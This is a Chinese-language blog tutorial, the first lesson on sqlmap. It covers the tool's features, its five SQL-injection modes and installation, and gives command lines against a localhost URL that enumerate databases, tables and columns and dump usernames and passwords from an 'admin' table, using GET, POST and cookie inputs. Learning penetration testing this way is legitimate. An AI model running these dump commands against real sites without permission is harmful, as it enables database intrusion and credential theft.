SQLMAP从入门到精通——第一节
小编:啊南 215阅读 2020.11.30
Sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。
二、Sqlmap功能Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:
·完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
· 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
·在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
·支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
·支持自动识别密码哈希格式并通过字典破解密码哈希。
·支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
·支持在数据库管理系统中搜索指定的数据库名、表名或列名
·当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
·当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。
三、Sqlmap原理图四、注入模式1.基于布尔的盲注,既可以根据返回页面判断条件真假的注入。
2.基于时间的盲注,既不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语 句是否执行(既页面返回时间是否增加)来判断。
3.基于报错注入,既页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4.联合查询注入,可以使用union的情况下的注入。
5.堆查询注入,可以同时执行多条语句的执行时的注入。
五、Sqlmap安装git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev六、基本使用方法:
GET
python sqlmap.py -u "http://127.0.0.1/index.php?id=1"
测试该注入点是否能够进行注入
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --dbs 对注入点进行注入,并导出数据库名
对database这个数据库进行表的猜测
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D database --tables
对database下的admin表中字段进行猜测
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D database -T admin --columns
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D database -T admin -C user,password --dump
对database下的admin表中user和password字段进行猜测并dump
POST
python sqlmap.py -r header.txt python sqlmap.py -r header.txt --dbs
-r是从一个文件中载入HTTP请求
其余都与GET一样将-u部分改成-r
header.txt(请求头可通过抓包获取)
POST /index.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/index.php Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 18 id=1
Cookie
python sqlmap.py -u "http://127.0.0.1/index.php" --cookie="id=1" --level=2
相关推荐
- SQL Server 常用函数 1.获取当前时间--GetDate()2.DatePart() 函数3.字符串截取--substring三个参数,第一个参数需要截取的,第二个参数,截取字符串的起始位置(起始位置是1),第三个参数需要截取字符串的长度。4.日期增减函数-DateAdd三个参数,第一参数合法的日期表达式,第二个参…
- 3DMAX提示和技巧 本主题标识使用 Civil View 的一些重要提示和技巧。常规使用屏幕分辨率至少为 1280x1024 的 Civil View。低于此分辨率时,一些面板将占用过多屏幕空间。 将视口设置为线框显示以达到最佳性能。 要尽可能简化用户界面,请在单个视口中工作并关闭 3ds Max 命令面…